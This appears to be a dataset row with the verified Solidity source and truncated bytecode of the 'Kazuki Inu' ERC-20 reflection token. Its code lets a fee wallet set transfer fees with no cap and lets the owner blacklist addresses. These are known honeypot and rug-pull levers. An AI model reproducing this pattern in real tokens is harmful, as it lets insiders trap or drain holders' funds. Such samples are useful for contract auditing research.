address
stringlengths 42
42
| source_code
stringlengths 6.9k
125k
| bytecode
stringlengths 2
49k
| slither
stringclasses 664
values | id
int64 0
10.7k
|
---|---|---|---|---|
0x4f829b5b158dEccB5558175baa1C245Ea546Ad0c
|
/**
*Submitted for verification at Etherscan.io on 2021-10-27
*/
/**
*
**/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Kazuki is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1 = 1;
uint256 private _feeAddr2 = 10;
address payable private _feeAddrWallet1 = payable(0xA3d8163aDd948f8E1f0F0B956e2E05d9A4B3609A);
address payable private _feeAddrWallet2 = payable(0xA3d8163aDd948f8E1f0F0B956e2E05d9A4B3609A);
string private constant _name = "Kazuki Inu";
string private constant _symbol = "KAZUKI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[address(this)] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function setFeeAmountOne(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr1 = fee;
}
function setFeeAmountTwo(uint256 fee) external {
require(_msgSender() == _feeAddrWallet2, "Unauthorized");
_feeAddr2 = fee;
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == uniswapV2Pair;
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600a81526020017f4b617a756b6920496e7500000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4b415a554b490000000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161149d9190612d3b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561151a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151190612cdb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561158a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158190612bdb565b60405180910390fd5b600081116115cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c490612cbb565b60405180910390fd5b6115d56109ff565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561164357506116136109ff565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561197857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156116ec5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6116f557600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156117a05750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156117f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561180e5750600f60179054906101000a900460ff165b156118be5760105481111561182257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541061186d57600080fd5b601e4261187a9190612e71565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60006118c9306107ba565b9050600f60159054906101000a900460ff161580156119365750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561194e5750600f60169054906101000a900460ff165b156119765761195c81611b55565b6000479050600081111561197457611973476119ec565b5b505b505b611983838383611e4f565b505050565b60008383111582906119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c79190612bb9565b60405180910390fd5b50600083856119df9190612f52565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611a3c600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611a67573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ab8600284611e5f90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ae3573d6000803e3d6000fd5b5050565b6000600854821115611b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2590612c1b565b60405180910390fd5b6000611b38611ea9565b9050611b4d8184611e5f90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611bb3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611be15781602001602082028036833780820191505090505b5090503081600081518110611c1f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611cc157600080fd5b505afa158015611cd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cf9919061264b565b81600181518110611d33577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611d9a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112df565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611dfe959493929190612d56565b600060405180830381600087803b158015611e1857600080fd5b505af1158015611e2c573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b611e5a838383611ed4565b505050565b6000611ea183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061209f565b905092915050565b6000806000611eb6612102565b91509150611ecd8183611e5f90919063ffffffff16565b9250505090565b600080600080600080611ee68761216d565b955095509550955095509550611f4486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121d590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506120258161227d565b61202f848361233a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161208c9190612d3b565b60405180910390a3505050505050505050565b600080831182906120e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120dd9190612bb9565b60405180910390fd5b50600083856120f59190612ec7565b9050809150509392505050565b6000806000600854905060006b033b2e3c9fd0803ce8000000905061213e6b033b2e3c9fd0803ce8000000600854611e5f90919063ffffffff16565b821015612160576008546b033b2e3c9fd0803ce8000000935093505050612169565b81819350935050505b9091565b600080600080600080600080600061218a8a600a54600b54612374565b925092509250600061219a611ea9565b905060008060006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b60408